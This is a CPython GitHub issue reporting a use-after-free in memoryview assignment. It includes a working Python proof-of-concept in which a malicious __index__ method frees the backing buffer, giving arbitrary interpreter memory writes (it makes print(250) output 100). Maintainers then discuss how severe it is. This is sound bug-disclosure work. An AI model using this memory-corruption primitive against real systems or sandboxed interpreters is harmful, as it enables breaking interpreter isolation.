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Use After Free when assigning into a memoryview · Issue #92888 · python/cpython

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chilaxan opened this issue

May 17, 2022

· 5 comments · May be fixed by #92946

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@chilaxan

Bug report

within memoryview.c, I have found two Use After Frees, both based around memory_ass_sub.
The first is if a class with a malicious __index__ method is used as the index for the assignment, its index method is called after the memoryview is checked if it is released. This allows the index method to release the memory view and backing buffer, leading to a write to freed memory when the write completes. The same vuln exists if the class with a malicious index method is used as the assigned value, as its __index__ method is called inside of pack_single

# memoryview Use After Free (memory_ass_sub)
uaf_backing = bytearray(bytearray.__basicsize__)
uaf_view = memoryview(uaf_backing).cast('n') # ssize_t format

class weird_index:
    def __index__(self):
        global memory_backing
        uaf_view.release() # release memoryview (UAF)
        # free `uaf_backing` memory and allocate a new bytearray into it
        memory_backing = uaf_backing.clear() or bytearray()
        return 2 # `ob_size` idx

# by the time this line finishes executing, it writes the max ptr size
# into the `ob_size` slot of `memory_backing`
uaf_view[weird_index()] = (2 ** (tuple.__itemsize__ * 8) - 1) // 2
memory = memoryview(memory_backing)
memory[id(250) + int.__basicsize__] = 100
print(250) # prints 100

Your environment

  • CPython versions tested on: Python 3.10.2 (main, Feb 2 2022, 07:36:01) [Clang 12.0.0 (clang-1200.0.32.29)] on darwin
  • Operating system and architecture: MacOS, 64bit

@chilaxan

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@chilaxan chilaxan commented May 17, 2022

image
Tested on 3.12.0 built with ./configure --enable-optimizations

@Fidget-Spinner

@vstinner would you class this as a security vuln or just a user bug? IMO it's definitely a bug that we should fix on our end considering memorview promises to raise ValueError after .release. But there exists many ways to corrupt memory in CPython and write to arbitrary addresses (e.g. ctypes or compiling your own bytecode with malicious LOAD_FAST instructions). So I'm not sure if you would class this as a vuln?

@Fidget-Spinner

@serhiy-storchaka

Nice. Many thanks to you @chilaxan for the reproducer. It only works on non-debug build, but I am sure that it is possible to get the same result on a debug build if slightly change the code.

This is definitely a serious bug, but I am not sure that it can be classified as a practical security vulnerability. Of course the bug can manifest not only with malicious __index__ (it is just a convenient way to reproduce it consistently), but with any __index__ implemented in Python if you use memoryview and multithreading. You only need to be exceptionally (un)lucky to get it. In theory the attacker can attack the program which have all three components (threads, writing to memoryview and objects with Python implemented __index__), but it is pure hypothetical scenario.

@kumaraditya303

See also #91153 which is a similar bug but with bytearray.